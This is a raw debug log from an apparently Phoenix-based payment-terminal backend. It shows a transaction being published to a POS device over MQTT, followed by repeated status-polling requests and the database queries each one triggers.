INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788426309, qos: 1, device_id: "98250623730001", amount: 120}, "Request For Publish Txn", "ch688130464057", ~U[2026-09-03 09:05:09Z], 37, "request_for_publish_txn", ~N[2026-09-03 09:05:09], ~N[2026-09-03 09:05:09]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 09:05:09.718000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36890] Successfully created custom event log with ID: 40144
[Thu Sep  3 09:05:09.719000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36890] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98250623730001/update with ref: #Reference<0.2525715032.1112276993.11600>
[Thu Sep  3 09:05:09.719000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36890] Published successfully to topic2: ota/pos/12345678/98250623730001/sub with ref: #Reference<0.2525715032.1112276993.11608>
[Thu Sep  3 09:05:09.720000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK source="users" db=0.7ms idle=262.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 09:05:09.723000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK source="custom_events" db=1.0ms idle=247.6ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 09:05:09.724000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36890] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch688130464057"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788426309,
  device_id: "98250623730001",
  amount: 120
}

[Thu Sep  3 09:05:09.725000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36890] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788426309,
    device_id: "98250623730001",
    amount: 120
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch688130464057",
  transaction_id: nil,
  date_added: ~U[2026-09-03 09:05:09.724982Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 09:05:09.725000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:36890] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788426309, device_id: "98250623730001", amount: 120}, event_name: "Response From Publish Txn", refrence_id: "ch688130464057", transaction_id: nil, date_added: ~U[2026-09-03 09:05:09.724982Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 09:05:09.787000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36890] QUERY OK db=57.7ms queue=0.2ms idle=207.9ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788426309, device_id: "98250623730001", amount: 120}, "Response From Publish Txn", "ch688130464057", ~U[2026-09-03 09:05:09Z], 38, "response_from_publish_txn", ~N[2026-09-03 09:05:09], ~N[2026-09-03 09:05:09]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 09:05:09.787000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36890] Successfully created custom event log with ID: 40145
[Thu Sep  3 09:05:09.787000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36890] Publish successful to 98250623730001 with ref: #Reference<0.2525715032.1112276993.11608>
[Thu Sep  3 09:05:09.788000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:36890] Sent 200 in 338ms
[Thu Sep  3 09:05:15.930000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:36898] POST /api/device/status
[Thu Sep  3 09:05:15.930000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:36898] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 09:05:15.931000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36898] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 09:05:15.931000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36898] Transaction reference number: "ch688130464057"
[Thu Sep  3 09:05:15.957000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36898] QUERY OK source="pos_transaction" db=25.7ms idle=791.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 09:05:15.959000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36898] QUERY OK source="pos_temp_transaction" db=1.3ms queue=0.1ms idle=817.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 09:05:15.969000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36898] QUERY OK source="pos_failed_transaction" db=9.4ms idle=819.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 09:05:15.970000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36898] QUERY OK source="cloud_transaction" db=0.8ms idle=829.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 09:05:15.970000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:36898] Sent 200 in 40ms
[Thu Sep  3 09:05:20.861000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:58782] POST /api/device/status
[Thu Sep  3 09:05:20.862000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:58782] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 09:05:20.862000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:58782] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 09:05:20.862000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:58782] Transaction reference number: "ch688130464057"
[Thu Sep  3 09:05:20.881000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58782] QUERY OK source="pos_transaction" db=18.8ms idle=1722.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 09:05:20.883000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58782] QUERY OK source="pos_temp_transaction" db=1.7ms idle=1741.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 09:05:20.887000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58782] QUERY OK source="pos_failed_transaction" db=3.4ms queue=0.1ms idle=1744.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 09:05:20.889000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58782] QUERY OK source="cloud_transaction" db=1.1ms idle=1747.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 09:05:20.889000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:58782] Sent 200 in 27ms
[Thu Sep  3 09:05:25.660000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:58784] POST /api/device/status
[Thu Sep  3 09:05:25.661000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:58784] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 09:05:25.661000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:58784] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 09:05:25.661000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:58784] Transaction reference number: "ch688130464057"
[Thu Sep  3 09:05:25.674000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58784] QUERY OK source="pos_transaction" db=12.9ms idle=1521.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 09:05:25.675000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58784] QUERY OK source="pos_temp_transaction" db=0.4ms idle=1534.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 09:05:25.678000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58784] QUERY OK source="pos_failed_transaction" db=2.6ms idle=1535.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 09:05:25.680000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58784] QUERY OK source="cloud_transaction" db=1.0ms queue=0.1ms idle=1418.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 09:05:25.680000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:58784] Sent 200 in 20ms
[Thu Sep  3 09:05:30.509000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49322] POST /api/device/status
[Thu Sep  3 09:05:30.509000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:49322] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 09:05:30.510000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49322] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch688130464057", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 09:05:30.510000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49322] Transaction reference number: "ch688130464057"
[Thu Sep  3 09:05:30.530000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49322] QUERY OK source="pos_transaction" db=20.2ms queue=0.1ms idle=1369.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 09:05:30.535000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49322] QUERY OK source="pos_temp_transaction" db=3.8ms idle=1390.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 09:05:30.541000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49322] QUERY OK source="pos_failed_transaction" db=6.0ms idle=1394.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch688130464057"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 09:05:30.543000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49322] QUERY OK source="cloud_transaction" db=1.7ms idle=1401.0ms
